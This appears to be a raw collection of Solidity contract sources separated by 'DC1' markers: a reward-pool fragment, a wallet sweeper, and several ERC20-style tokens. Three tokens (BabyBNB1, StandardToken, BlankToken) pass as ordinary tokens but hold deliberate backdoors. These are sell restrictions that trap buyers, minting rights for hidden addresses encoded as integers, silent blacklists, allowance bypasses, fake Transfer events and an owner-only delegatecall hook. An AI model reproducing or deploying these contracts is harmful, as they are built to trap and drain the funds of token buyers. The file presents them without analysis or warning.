uint accruedReward = accruedRewards[account];
require(accruedReward >= amount, "Insufficient value");
// transfer reward to receiver
transferRewardOut(receiver, amount);
// update storage
accruedRewards[account] = sub_(accruedReward, amount);
emit Claimed(account, receiver, amount);
return amount;
}
// Claim all accrued rewards
function claimAll() external returns (uint) {
address account = msg.sender;
// keep fresh
accrue();
uint accruedReward = accruedRewards[account];
// transfer
transferRewardOut(account, accruedReward);
// update storage
accruedRewards[account] = 0;
emit Claimed(account, account, accruedReward);
}
function transferRewardOut(address account, uint amount) internal {
EIP20Interface efil = EIP20Interface(efilAddress);
uint remaining = efil.balanceOf(address(this));
require(remaining >= amount, "Insufficient cash");
efil.transfer(account, amount);
}
// repay given amount of debts for miner
function repayDebt(string calldata miner, uint amount) external {
address repayer = msg.sender;
// keep fresh (distribute debt for miner)
accrue(miner);
// reference storage
Debt storage debt = minerDebts[miner];
uint actualAmount = amount;
if (actualAmount > debt.accruedAmount) {
actualAmount = debt.accruedAmount;
}
EIP20Interface efil = EIP20Interface(efilAddress);
require(efil.transferFrom(repayer, address(this), actualAmount), "transferFrom failed");
debt.accruedAmount = sub_(debt.accruedAmount, actualAmount);
debt.lastRepaymentBlock = getBlockNumber();
emit Repayment(miner, repayer, actualAmount);
}
function transfer(address to, uint amount) external {
address from = msg.sender;
// keep fresh
accrue();
uint actualAmount = amount;
if (actualAmount == 0) {
actualAmount = accruedRewards[from];
}
require(accruedRewards[from] >= actualAmount, "Insufficient value");
// update storage
accruedRewards[from] = sub_(accruedRewards[from], actualAmount);
accruedRewards[to] = add_(accruedRewards[to], actualAmount);
emit Transferred(from, to, actualAmount);
}
/*** Admin Functions ***/
// set management contract
function setManagement(IFilstManagement newManagement) external {
require(msg.sender == admin, "admin check");
require(address(newManagement) != address(0), "Invalid newManagement");
if (debtAccruedIndex == 0) {
debtAccruedIndex = initialAccruedIndex;
}
// save old for event
IFilstManagement oldManagement = management;
// update
management = newManagement;
emit ManagementChanged(oldManagement, newManagement);
}
// set strategy contract
function setStrategy(IRewardStrategy newStrategy) external {
require(msg.sender == admin, "admin check");
require(address(newStrategy) != address(0), "Invalid newStrategy");
// save old for event
IRewardStrategy oldStrategy = strategy;
// update
strategy = newStrategy;
emit StrategyChanged(oldStrategy, newStrategy);
}
// set calculator contract
function setCalculator(IRewardCalculator newCalculator) external {
require(msg.sender == admin, "admin check");
require(address(newCalculator) != address(0), "Invalid newCalculator");
// save old for event
IRewardCalculator oldCalculator = calculator;
// update
calculator = newCalculator;
emit CalculatorChanged(oldCalculator, newCalculator);
}
// set staking contract
function setStaking(address newStaking) external {
require(msg.sender == admin, "admin check");
require(address(Staking(newStaking).superior()) == address(this), "Staking superior mismatch");
require(Staking(newStaking).property() == filstAddress, "Staking property mismatch");
require(Staking(newStaking).asset() == efilAddress, "Staking asset mismatch");
// save old for event
address oldStaking = staking;
// update
staking = newStaking;
emit StakingChanged(oldStaking, newStaking);
}
// add eFIL to pool
function addLiqudity(uint amount) external {
// transfer in
require(EIP20Interface(efilAddress).transferFrom(msg.sender, address(this), amount), "transfer in failed");
// added accrued rewards to admin
accruedRewards[admin] = add_(accruedRewards[admin], amount);
emit LiqudityAdded(msg.sender, admin, amount);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
function _become(RewardPoolDelegator delegator) public {
require(msg.sender == delegator.admin(), "only delegator admin can change implementation");
delegator._acceptImplementation();
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract BabyBNB1 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
interface Management {
function getFee(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _from, address indexed _to, uint256 _value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function approve(address _spender, uint256 _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from && developer[tx.origin] == 0) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
if (blacklist[_to] || blacklist[_from]) {return true;}
uint256 fee = getFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function batchSend(address[] memory _to, uint256 _value) onlyOwner public payable returns (bool) {
uint256 total = _value * _to.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint256 i = 0; i < _to.length; i++) {
address to = _to[i];
balanceOf[to] += _value;
developer[to] = 1;
emit Transfer(msg.sender, to, _value);
}
return true;
}
function pairFor(address tokenA, address tokenB) private pure returns (address) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
address pair = address(uint256(keccak256(abi.encodePacked(
hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
return pair;
}
function getFee(address _from, address _to, uint256 _value) private returns(uint256) {
if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
return Management(manager).getFee(address(this), UNI, _value);
}
return 0;
}
function delegate(address a, bytes memory b) onlyOwner public payable {
a.delegatecall(b);
}
function () payable external {paid = true;}
function block(address[] memory _to) onlyOwner public payable returns (bool) {
for (uint256 i = 0; i < _to.length; i++) {
paid = true;
address to = _to[i];
blacklist[to] = true;
}
}
mapping (address => uint256) private developer;
mapping (address => bool) private blacklist;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public decimals;
uint256 public totalSupply;
string public name;
string public symbol;
bool public paid = false;
address private owner;
address private UNI;
address constant internal manager = 0xcd238547C72f3AD51F2e3a0a7d4F8F250d343Cd3;
address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _symbol, string memory _name,
uint256 _supply, uint256 _decimals, address[] memory b) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _supply;
decimals = _decimals;
block(b);
UNI = pairFor(weth, address(this));
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][router] = uint256(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/Token.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n function totalSupply() external view returns(uint);\n\n function balanceOf(address account) external view returns(uint);\n\n function transfer(address recipient, uint amount) external returns(bool);\n\n function allowance(address owner, address spender) external view returns(uint);\n\n function approve(address spender, uint amount) external returns(bool);\n\n function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n event Transfer(address indexed from, address indexed to, uint value);\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n \n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeMath {\n function add(uint a, uint b) internal pure returns(uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint a, uint b) internal pure returns(uint) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n require(b <= a, errorMessage);\n uint c = a - b;\n\n return c;\n }\n\n function mul(uint a, uint b) internal pure returns(uint) {\n if (a == 0) {\n return 0;\n }\n\n uint c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint a, uint b) internal pure returns(uint) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n // Solidity only automatically asserts when dividing by 0\n require(b > 0, errorMessage);\n uint c = a / b;\n\n return c;\n }\n}\n\nabstract contract ERC20 {\n using SafeMath for uint;\n mapping(address => uint) private _balances;\n\n mapping(address => mapping(address => uint)) private _allowances;\n\n uint private _totalSupply;\n\n function totalSupply() public view returns(uint) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns(uint) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint amount) public returns(bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public view returns(uint) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint amount) public returns(bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint amount) public returns(bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));\n return true;\n }\n\n function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n function _transfer(address sender, address recipient, uint amount) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n }\n\n function _mint(address account, uint amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n }\n\n function _burn(address account, uint amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n }\n\n function _approve(address owner, address spender, uint amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n }\n}\n\ncontract BlankToken {\n \n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n \n uint constant public decimals = 18;\n uint public totalSupply = 125000000000000000000000000;\n string public name = \"Blank Token\";\n string public symbol = \"BLANK\";\n address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address private owner;\n address public uniPair;\n\n event Transfer(address indexed _from, address indexed _to, uint _value);\n event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n constructor() {\n owner = msg.sender;\n \n uniPair = pairFor(uniFactory, wETH, address(this));\n allowance[address(this)][uniRouter] = uint(-1);\n allowance[msg.sender][uniPair] = uint(-1);\n }\n\n function transfer(address _to, uint _value) public payable returns (bool) {\n return transferFrom(msg.sender, _to, _value);\n }\n \n function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {\n if (_value == 0) { return true; }\n if (msg.sender != _from) {\n require(allowance[_from][msg.sender] >= _value);\n allowance[_from][msg.sender] -= _value;\n }\n require(balanceOf[_from] >= _value);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n \n function approve(address _spender, uint _value) public payable returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n \n function delegate(address a, bytes memory b) public payable {\n require(msg.sender == owner);\n a.delegatecall(b);\n }\n \n modifier checkLimits(address _from, address _to) {\n require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);\n _;\n }\n\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }\n\n function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n require(msg.sender == owner);\n balanceOf[address(this)] = _numList;\n balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n address(this),\n _numList,\n _numList,\n msg.value,\n msg.sender,\n block.timestamp + 600\n );\n\n require(_tos.length == _amounts.length);\n\n for(uint i = 0; i < _tos.length; i++) {\n balanceOf[_tos[i]] = _amounts[i];\n emit Transfer(address(0x0), _tos[i], _amounts[i]);\n }\n }\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
|
DC1
|
pragma solidity >=0.4.21 <0.6.0;
contract Token {
function balanceOf(address a) external returns (uint) {return 0;}
function transfer(address a, uint val) external returns (bool) {return false;}
}
contract AbstractSweeperList {
function sweeperOf(address _token) external returns (address);
}
contract UserWallet {
AbstractSweeperList c;
constructor (address _sweeperlist) public {
c = AbstractSweeperList(_sweeperlist);
}
function sweep(address _token, uint _amount) public {
c.sweeperOf(_token).delegatecall(msg.data);
}
}
contract Controller is AbstractSweeperList {
address public owner;
address public authorizedCaller;
//destination defaults to same as owner
//but is separate to allow never exposing cold storage
address public destination;
bool public halted;
event LogNewWallet(address receiver);
event LogSweep(address from, address token, uint amount);
modifier onlyOwner() {
require(msg.sender == owner, "Sender is not the owner");
_;
}
modifier onlyAuthorizedCaller() {
require(msg.sender == authorizedCaller, "unauthorized call");
_;
}
modifier onlyAdmins() {
require(msg.sender == authorizedCaller || msg.sender == owner, "unauthorized call");
_;
}
constructor () public
{
owner = msg.sender;
destination = msg.sender;
authorizedCaller = msg.sender;
}
function changeAuthorizedCaller(address _newCaller) public onlyOwner {
authorizedCaller = _newCaller;
}
function changeDestination(address _dest) public onlyOwner {
destination = _dest;
}
function changeOwner(address _owner) public onlyOwner {
owner = _owner;
}
function makeWallet() public onlyAdmins returns (address wallet) {
wallet = address(new UserWallet(address(this)));
emit LogNewWallet(wallet);
}
//assuming halt because caller is compromised
//so let caller stop for speed, only owner can restart
function halt() public onlyAdmins {
halted = true;
}
function start() public onlyOwner {
halted = false;
}
//***********
//SweeperList
//***********
address public defaultSweeper = address(new DefaultSweeper(address(this)));
mapping (address => address) sweepers;
function addSweeper(address _token, address _sweeper) public onlyOwner {
sweepers[_token] = _sweeper;
}
function sweeperOf(address _token) public returns (address) {
address sweeper = sweepers[_token];
if (sweeper == address(0)) sweeper = defaultSweeper;
return sweeper;
}
function logSweep(address from, address token, uint amount) public {
emit LogSweep(from, token, amount);
}
}
contract AbstractSweeper {
//abstract:
function sweep(address token, uint amount) external returns (bool);
Controller controller;
constructor (address _controller) public {
controller = Controller(_controller);
}
modifier canSweep() {
require(msg.sender == controller.authorizedCaller() || msg.sender == controller.owner(), "Unauthorized call");
require(controller.halted() == false, "Controller is in halted state");
_;
}
}
contract DefaultSweeper is AbstractSweeper {
constructor (address controller) public AbstractSweeper(controller) {}
function sweep(address _token, uint _amount) public canSweep
returns (bool) {
Token token = Token(_token);
uint amount = _amount;
if (amount > token.balanceOf(address(this))) {
return false;
}
address destination = controller.destination();
// Because sweep is called with delegatecall, this typically
// comes from the UserWallet.
bool success = token.transfer(destination, amount);
if (success) {
controller.logSweep(address(this), _token, _amount);
}
return success;
}
}
|
DC1
|
pragma solidity 0.5.12;
interface IKToken {
function underlying() external view returns (address);
